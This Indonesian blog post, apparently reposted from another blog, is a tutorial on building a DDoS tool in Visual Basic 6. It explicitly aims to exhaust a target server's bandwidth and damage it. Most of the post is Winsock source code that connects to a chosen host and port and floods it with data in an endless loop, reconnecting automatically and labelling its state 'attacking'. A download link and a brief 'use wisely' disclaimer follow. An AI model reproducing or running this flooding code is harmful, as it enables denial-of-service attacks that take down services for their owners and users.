Saat ini banyak bertebaran DDoS Tool yang bisa kita jumpai di dunia maya ini. DDoS ( Distributed Denial of Service ) adalah sebuah tipe serangan dari hacker yang sangat mematikan. Prinsip kerja dari DDoS adalah kita akan mengirimkan sejumlah perintah berulang ulang dalam waktu yang relatif cepat ke server target. Tujuan dari DDoS adalah dengan menghabiskan bandwith dari server target. Sehingga nantinya server akan mengalami kerusakan.
Untuk keterangan selanjutnya tentang DDoS silakan sobat googling saja. Dalam Visual Basic 6 kita bisa memanfaatkan kontrol winsock untuk membuat sendiri DDoS Tool yang sangat powerfull. Winsock adalah sebuah kontrol yang mampu masuk ke jaringan dengan melalui protokol yang sudah diatur. Untuk memulainya silakan ikuti langkah berikut :
1. Buka Visual Basic 6 sobat. Buat project baru, masukkan componen Microsoft Winsock Control
2. Masukkan coding berikut
Dim FILENAME As String, listItem As StringPrivate TransferRate As SinglePrivate TransferRate2 As SinglePrivate Xstart As LongPrivate Ystart As LongPrivate m_objIpHelper As CIpHelper'Deklarasikan fungsi API untuk mengeksekusi suatu 'HyperlinkPrivate Declare Function ShellExecute _Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _As Long, ByVal lpOperation As String, ByVal lpFile _As String, ByVal lpParameters As String, ByVal _lpDirectory As String, ByVal nShowCmd As Long) As LongConst SW_SHOWNORMAL = 1 'Konstanta untuk menampilkan 'jendela normalPrivate Sub CMDMULAI_Click()TXTURL.Text = Replace(TXTURL.Text, "http://", "")Sock.CloseSock.Connect TXTURL, TXTPORTTimer1.Enabled = TrueSIMPAN_PESANOn Error Resume NextTimer1.Interval = TXTWAKTU.TextEnd SubPrivate Sub CMDSTOP_Click()Sock.CloseTimer1.Enabled = FalselblStatus.Caption = "Putus"lblStatus.ForeColor = &HFFFFFFLBLWARN.Caption = "Menunggu perintah"Timer2.Enabled = FalseEnd SubPrivate Sub Form_Load()Timer1.Interval = TXTWAKTU.TextLOAD_PESAN'Fungsi penggunaan badwith internetSet m_objIpHelper = New CIpHelperEnd SubPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)LBLSITUS.ForeColor = &HFFFF&End SubPrivate Sub Form_Unload(Cancel As Integer)Sock.CloseEndEnd SubPrivate Sub LBLSITUS_Click()Dim situs As Long 'Tampilkan program default untuk membuka situs ke 'alamat lblSitus situs = ShellExecute(0, vbNullString, _ LBLSITUS, "", "", vbNormalFocus) LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah 'warnaEnd SubPrivate Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)LBLSITUS.ForeColor = &HFF&LBLSITUS.MousePointer = 2End SubPrivate Sub MNUUP_Click()FRMUP.ShowEnd SubPrivate Sub SocK_Close() lblStatus.Caption = "Putus"End SubPrivate Sub SocK_Connect()lblStatus.Caption = "Tersambung"End SubPrivate Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)Sock.CloselblStatus.Caption = "Soket error"End SubPrivate Sub Timer1_Timer()Dim DATA As StringDATA = TXTDATA.TextIf Sock.State = sckConnected Then Do On Error GoTo REMUK Sock.SendData DATA lblStatus = "Menyerang" lblStatus.ForeColor = &HFF00& LBLDATA.Caption = Sock.SocketHandle DoEvents lblSent.Caption = lblSent.Caption + 1 LoopREMUK: LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..." Timer2.Enabled = TrueElse CMDSTOP_Click Timer2.Enabled = True LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."End IfEnd SubPrivate Sub Timer2_Timer()LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."If Timer2.Interval = 2000 ThenCMDMULAI_ClickTimer2.Enabled = FalseLBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"End IfEnd SubPrivate Sub tmrPoll_Timer()tmrPoll.Enabled = False On Error GoTo ErrH Dim objInterface As CInterface Static lngBytesRecv As Long Static lngBytesSent As Long Dim lIn As Long, lOut As Long Set objInterface = m_objIpHelper.Interfaces(1) lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296 lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296 If lIn < 0 Then lIn = 0 If lOut < 0 Then lOut = 0 LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec" LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec" picGraph.ScaleMode = 3 DrawUsage picGraph, lIn, lOut lngBytesRecv = m_objIpHelper.BytesReceived lngBytesSent = m_objIpHelper.BytesSent DoEvents tmrPoll.Enabled = TrueExit SubErrH: tmrPoll.Enabled = True Debug.Print Err.DescriptionEnd SubFunction GetTransferRate(pDiff As Long) As String Dim d As Double d = pDiff / 1024 If d < 1024 Then GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb" Exit Function End If ' Mbytes d = pDiff / 1024 GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"End FunctionPrivate Sub TXTPORT_KeyPress(KeyAscii As Integer)If Not (KeyAscii >= Asc("0") & Chr(13) _ And KeyAscii <= Asc("9") & Chr(13) _ Or KeyAscii = vbKeyBack _ Or KeyAscii = vbKeyDelete _ Or KeyAscii = vbKeySpace) Then Beep KeyAscii = 0 End IfEnd SubPrivate Sub TXTWAKTU_KeyPress(KeyAscii As Integer)If Not (KeyAscii >= Asc("0") & Chr(13) _ And KeyAscii <= Asc("9") & Chr(13) _ Or KeyAscii = vbKeyBack _ Or KeyAscii = vbKeyDelete _ Or KeyAscii = vbKeySpace) Then Beep KeyAscii = 0 End IfEnd SubSub LOAD_PESAN()FILENAME = App.Path & "/PESAN.txt"TXTDATA.Text = ""On Error Resume NextOpen FILENAME For Input As #1 Do While Not EOF(1) Input #1 & vbNewLine, listItem 'If Not (listItem = "") Then TXTDATA.Text = listItem 'End If Loop Close #1End SubSub SIMPAN_PESAN()Open App.Path & "/PESAN.txt" For Output As #1Print #1, TXTDATA.TextCloseEnd Sub
3. Simpan dan jalankan project sobat.
Hati - hati dalam menggunakan tool ini. Gunakan secara bijak
Source Code DOWNDLOAD
Password : dzoee.blogspot.com
sumber : http://3hsoftcom.blogspot.com/2011/12/membuat-sendiri-ddos-tool-dengan-visual.html
0 komentar:
Posting Komentar